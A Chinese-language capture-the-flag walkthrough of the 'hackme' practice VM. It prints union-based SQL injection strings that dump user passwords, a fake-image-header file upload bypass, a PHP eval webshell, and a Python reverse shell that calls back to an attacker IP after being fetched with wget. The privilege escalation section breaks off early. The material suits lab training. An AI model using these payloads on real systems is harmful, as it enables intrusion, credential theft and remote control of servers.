目录
靶机描述
环境搭建
靶机渗透
一、 信息收集
二、 漏洞挖掘
SQL注入
文件上传漏洞
三、 漏洞利用
反弹shell:一句话木马,蚁剑连接
四、 提权
靶机描述
靶机基本信息:
“hackme”是一个初学者难度等级框。目标是通过web漏洞获得有限的权限访问,然后权限升级为root。这个实验室是为了模拟现实生活环境而创建的。
“hackme”使用DHCP,并且在mysqld可能自行关闭的情况下(非常罕见的情况),尝试强制重新启动机器,然后机器应该可以正常工作。
环境搭建
1、下载并导入靶机
打开vmware–文件–打开–hackme.ova
查看网络适配器
将靶机网络适配器改为仅主机模式
2、启动靶机
点击 ▶靶机,开启成功
靶机渗透
一、信息收集
1、主机发现
arp-scan -l
2、扫描端口
nmap -T4 -sV -O -p 22,80 192.168.31.116
3、扫描目录
(1) dirb目录扫描 dirb http://192.168.31.116/usr/share/dirb/wordlists/big.txt
(2)gobuster目录扫描 gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.31.116 -t 30
4、网站指纹识别 whatweb http://192.168.31.116
二、漏洞挖掘
sql注入
1、登录主页发现登录页面,而且还可以注册用户
2、点击 Sign up now 注册用户admin 密码123456
3、登录admin用户 单击search可以进行查看到很多的书名
4、验证sql注入 Windows OS' and 1=1#
Windows OS' and 1=2#
由以上验证出此处存在字符型(单引号)sql注入
5、判断字段数 Windows OS' order by 3#
Windows OS' order by 4#
判断出来字段数是3个
6、判断显示位置
-1' union select 1,2,3#
7、查看当前数据库位置
-1' union select database(),2,3#
8、查看webapphacking库所有的表 -1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking'#
9、查看users表中所有的列 -1' union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#
10、查看表中user,password字段数据
-1' union select group_concat(user),group_concat(pasword),3 from users#
11、将得到密码进行MD5解密
文件上传漏洞
1、使用superadmin用户登录 密码:Uncrackable
发现文件上传点
2、上传phpinfo()进行验证
制作假图片头 GIF89a<?php phpinfo(); ?>
上传前先开启burp抓包
3、拦截-修改后缀,我们可以从回包中看出文件已将上传至文件夹
4、查看你目录扫描出的路径 http://192.168.31.116/uploads/phpinfo.php
该上传点存在文件上传漏洞,并且假图片头与图片马均可以
三、漏洞利用
1、制作图片马 <?php @eval($_POST[shell]); ?>2、同上面上传phpinfo.jpg一样,上传图片马
抓包–修改后缀–发送,可以看出上传成功
3、访问上传的图片马 http://192.168.31.116/uploads/b.php
4、蚁剑连接成功
5、上传反弹shell脚本
将反弹shell放在网站根目录下,开启http服务 service apache2 start
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.31.100",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
6、在蚁剑终端上下载 wget http://192.168.31.100/shell.py
7、kali监听1234端口
8、运行 python shell.py
9、反弹shell成功
四、 提权
1、识别所存在的用户 cat /etc/passwd | grep /bin/bash
2、在/home/legacy路径下发现二进制文件touchmenot,执行二进制文件